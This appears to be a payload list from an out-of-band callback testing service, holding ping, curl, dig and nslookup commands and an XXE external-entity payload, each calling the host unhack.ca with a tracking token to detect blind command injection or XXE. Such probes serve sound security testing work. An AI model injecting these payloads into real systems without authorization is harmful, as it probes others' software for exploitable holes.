$ ping -c1 -p 005f01ed09d62ab303304659e80c8b00 unhack.ca
$ curl http://unhack.ca/p/5f01ed09d62ab303304659e80c8b
$ dig 5f01ed09d62ab303304659e80c8b @unhack.ca
$ dig 5f01ed09d62ab303304659e80c8b.ns.unhack.ca
C:\> nslookup 5f01ed09d62ab303304659e80c8b unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/5f01ed09d62ab303304659e80c8b">]> <foo>&xxe;</foo>